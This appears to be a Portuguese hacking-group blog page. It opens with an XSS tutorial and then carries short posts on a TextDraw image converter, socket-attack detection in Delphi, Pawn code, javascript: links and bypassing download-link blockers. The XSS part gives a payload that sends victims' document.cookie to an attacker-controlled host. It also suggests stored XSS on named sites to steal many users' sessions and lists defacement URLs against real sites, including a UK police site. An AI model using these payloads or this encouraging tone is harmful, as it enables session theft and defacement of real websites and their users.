[Tutorial] Vulnerabilidade XSS (leve explicada) (web programação)

http://pt.wikipedia.org/wiki/Cross-site_scripting

Introdução:
Bem olá a todos.
Como prometido, irei fazer um tutorial de como fazer a injeção de códigos javascript (maliciosos ou não) em um site.

Está técnica se chama XSS (cross site scripting) e é encontrado MILHARES de sites com está vulnerabilidade todos os dias.

Está técnica é muito usada em query strings (popularmente dito método $_GET em php), mas também existem em métodos como $_POST, mas a metodologia é sempre a mesma.

Uso:
Basicamente o uso do XSS é injetar scripts javascript em páginas, de modo que elas sejam executadas no navegador do cliente.
Para achar um site vulnerável basicamente pegue uma página qualquer:

"pagina.php?erro=Ola Amigo"

Percebei nosso erro=Ola Amigo?

Caso no código PHP ter:

echo $_GET['erro'];

Ocorrerá de imprimir o que está no erro= (que no exemplo seria Ola Amigo)
Porém se eu colocar código javascript? Ai que está o ponto X da questão.
Ele executará o código javascript, caso eu colocar:

pagina.php?erro=<script>alert('site vulneravel a xss');</script>

O Código em negrito será exibido e mostrará um alerta.

Segurança
A principio não trás coisas ruim, mas já pensou o que se pode fazer executando javascript no computador de outro cliente na página que vocês quiserem?

Você pode pegar o document.cookie do cliente, por exemplo.
DOCUMENT.COOKIE armazena o cookie do documento atual, caso você pegar ele, você simplesmente estará com a senha e login do cara em suas mãos (é assim que funciona aquele negócio de cookies premium)

Então basta fazer uma função em ajax, para enviar o cookie do cara para seu site, exemplo:

pagina.php?erro=<script>enviarRequestAjax('www.suapaginaprapegacookie.com?cookie=' + document.cookie);</script>

Interessante, não acham? ..

Asssim como podemos colocar isto em comentários

Exemplo:
Estou no site do yahoo respostas
e coloco uma pergunta com o seguinte: <script>alert('xss');</script>
Então este código será minha pergunta, caso alguém acessar minha pergunta, verá este código, o que acontecerá de dar alertas, já pensou que loucura seria? Roubar a senha de vários usuários usando apenas document.cookie e uma vulnerabilidade xss.

Claro que Yahoo Resposta é um exemplo, mas lembre-se que MUITOS sites tem vulnerabilidade, eu digo porque já vi sites da globo, orkut, viva o linux, facebook e muitos outros com esta vulnerabilidade, é só uma questão de achar um e sair fazendo tudo que poder

Exemplo:

http://www.gmp.police.uk/live/nhoodv3.nsf/index-divisions.html?ReadForm&Division=</title><img%20src=http://lh4.ggpht.com/_Cl6M776htkA/TAj1lujVLgI/AAAAAAAACG0/JFbdemiuBqs/341%20-%20Imagensidiotas_-_Fuck_foda-se_police_policia.jpg%20/><font%20size%20=%201000>IPS%20TEAM%20CU</strong></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>

http://www.ospaparazzi.com.br/busca/?q=%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E%20%3Ch1%3EXSS%3C/h1%3E%20%3Cbr%20/%3E%20%3Cbr%20/%3E

http://www.promix.com.br/home/busca.php?termo=%3Ch3%3ERSRSRSRS%3Cbr/%3E%3Cimg%20src=%22https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3zH0izqKEUn3UynM4z3wON4E7KPqgC6E5ad1EoOkjA_y7l0dp98FnDyWVI5d-WkT2bPcpn7qTyQ4wJ4r6qMBo_fHiwcpgi3IZ0-EduxhdCIpaH7lkk8FZ50vRP0SHlJ-R27BMHb2MeN0/s400/mulher+feia+b.JPG%22%20/%3E%3C/h3%3E

É isto ..

Abraços

[INFO] Imagens em TextDraw

Ontem pela tarde o usuário gamer93 postou um aplicativo que convertia Imagens para TextDraw, feito através dos pixels.

Achei muito interessante e ideia dele e resolvi tentar fazer meu próprio online para colocar no site de bugigangas da iPs


Então este é o site:
http://ips-team.webcindario.com/textdraw.php

Lembrando que tem que cuidar com tamanho da imagem, porque quanto maior a imagem mais pixels ela terá, posteriormente maior a variável.

Explica
Portanto, deixei o limite de 150 x 150.
Vocês podem mudar o carácter da imagem, pois ao fazer o script temos o seguinte:

#define PIXEL_PONTO .
#define MAX_DRAWS 2048
#define TELA_X  09
#define TELA_Y  09

PIXEL_PONTO será o carácter que usamos como pixel (no caso estou utilizando o ponto final)
MAX_DRAWS será o máximo de quadradinhos (pixels) da imagem, digamos que ela tenha 10 x 10, logo terá 100 quadradinhos.

TELA X e TELA Y será a posição em que a imagem ficará na tela.

Uso
Basta ir no link que passei acima, escolher a imagem em formato png e enviar para o servidor, ele lerá a imagem e transformará em Text Draw com o código em Filterscript.

Print Screen

Claro que não fica perfeito, isto é apenas um exemplo.

A página ainda não foi totalmente finalizada. Só peço que não abusem da página, é possível que tenha bugs que possam comprometer a hospedagem.

Espero que gostem do sistema, abraços galera do mal.

(Código do Trollzin = http://pastebin.com/BujhMC1g)

[TUT] [DELPHI] Reconhecendo e Enviando Sockets

Introdução
Como não tinha idéias para tutoriais resolvi criar algo relacionado a sa:mp (indiretamente, mas está ligado)

Se trata de uma vídeo aula explicativa de como funcionam os ataques e como reconhece-los.

Só para lembrar que não estou fazendo apologia a nenhum ataque a servidores sa:mp, até porque o modo que o sa:mp recebe os tais ataques é de uma forma única e totalmente distinta daquele programa (ele não faz a função de atacar, apenas envia o socket, mas o servidor sa:mp recusa os dados do tipo)

O que estou ensinando em si é como reconhecer estes pacotes e souber identificar a origem dos mesmos.
É útil para pegar IP dos danados que fazem ataques deste tipo.

A qualidade não está muito boa, amanha se eu tiver tempo refaço o vídeo, afinal são 4 horas da manhã



Aplicativo para realizar conexão -> http://solidfiles.co...2da05/download/
Aplicativo para detectar conexão -> http://solidfiles.com/d/0261/download/
Source Aplicativo realizar conexão -> http://solidfiles.com/d/ff8b/download/

Ah, os ataques sockets são todo tipo de conexões que ocorrem indevidamente via socks com packs envolvidos, rs
Rcon Flooder, Bots Flooder, são tudo feito a base de sockets, finalmente você pode dar um basta nisto.

Abraços.

[COD] IsNumeric Pawn

Olá,

Garfield fez este IsNumeric para seu gamemode,

Eu apenas alterei umas coisas

http://pastebin.com/VSkQ3GuA

Esperamos que gostem

[iPs]Garfield e [iPs]DraKiNs

[JS] Chamando função javascript direto no no html

Simples, usando javascript em links

Olhe:

<a href='javascript:" > Link </a>

Onde está escrito "javascript:" é que indica qual linguagem vamos utilizar.
Exemplo:

<a href='javascript:alert("[iPs] TeaM!");'>Link</a>

Quando alguém clicar no Link acima, irá mandar alerta em javascript "[iPs] TeaM!"
Fácil, não? O mesmo pode utilizar sem fazer o link, apenas colocando

javascript:alert("[iPs] TeaM!");

No seu navegador ..

Também podemos usar OnClick, OnLoad e outros eventos de tags html .-.

~ [iPs]Garfield

[TUT] A8 - Burlando Links de Download (1 Click)

[DELPHI] A6 - Sistema de Login em Arquivos INI

[DELPHI] A5 - Projeto Bloqueador de Janelas

[DELPHI] A4 - Ultilizando Timers

[DELPHI] A3 - Usando Progress Bar

[DELPHI] A2 - Criando Simples Player de Vídeo

[DELPHI] A1 - Programa para assistir TV

[TUT] Burlando Links

Para quem não entendeu o vídeo:

1° Vá no site:

http://feksquad.6te....ador/TExtI.html

2° Cole a url do bloqueador

3° Clique em 'Gerar Letra'

4° No campo 'Texto Gerado' irá aparecer nosso texto gerado porém invertido assim formando link!

Exemplo:

http://www.megaupload.com/?d=2Y7M3TYW=lru?/knil/moc.siamsdaolnwod.www

O destacado em negrito é nosso Link,simples

Att: DraKiNs